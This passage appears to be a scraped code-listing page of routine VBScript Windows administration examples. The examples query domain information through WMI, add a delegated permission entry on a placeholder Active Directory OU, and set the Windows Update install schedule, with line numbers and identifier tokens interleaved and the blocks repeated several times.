                                                                                                                                                      ClientSiteName

                                                                                                                                                      830

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      831

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      832

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      833

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      835

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      837

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      838

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      839

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      840

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      841

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      842

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      843

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      844

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      845

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      847

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      849

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      850

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      851

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      852

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      853

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      854

                                                                                                                                                      Next

                                                                                                                                                      860

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      861

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      862

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      863

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      864

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      866

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      867

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      868

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      870

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      872

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      873

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      874

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      875

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      876

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      877

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      878

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      879

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      881

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      883

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      884

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      892

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      894

                                                                                                                                                      strComputer = "."

                                                                                                                                                      895

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      898

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      901

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      902

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      903

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      904

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      905

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      906

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      907

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      908

                                                                                                                                                      Next

                                                                                                                                                      912

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      913

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      915

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      916

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      918

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      925

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      927

                                                                                                                                                      strComputer = "."

                                                                                                                                                      928

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      931

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      933

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      934

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      935

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      936

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      937

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      938

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      940

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      942

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      943

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      944

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      945

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      946

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      947

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      948

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      949

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      950

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      952

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      954

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      955

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      956

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      957

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      958

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      959

                                                                                                                                                      Next

                                                                                                                                                      965

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      966

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      967

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      968

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      969

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      971

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      972

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      973

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      975

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      977

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      978

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      979

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      980

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      981

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      982

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      983

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      984

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      986

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      988

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      989

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      997

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      999

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1000

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1003

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1006

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1007

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1008

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1009

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1010

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1011

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1012

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1013

                                                                                                                                                      Next

                                                                                                                                                      1017

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1018

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1020

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1021

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1023

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1030

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1032

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1033

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1036

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1038

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1039

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1040

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1041

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1042

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1043

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1045

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1047

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1048

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1049

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1050

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1051

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1052

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1053

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1054

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1055

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1057

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1059

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1060

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1061

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1062

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1063

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1064

                                                                                                                                                      Next

                                                                                                                                                      1071

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1072

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1073

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1074

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1075

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1077

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1078

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1079

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1081

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1083

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1084

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1085

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1086

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1087

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1088

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1089

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1090

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1092

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1094

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1095

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1103

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1105

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1106

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1109

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1112

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1113

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1114

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1115

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1116

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1117

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1118

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1119

                                                                                                                                                      Next

                                                                                                                                                      1123

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1124

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1126

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1127

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1129

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1136

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1138

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1139

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1142

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1144

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1145

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1146

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1147

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1148

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1149

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1151

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1153

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1154

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1155

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1156

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1157

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1158

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

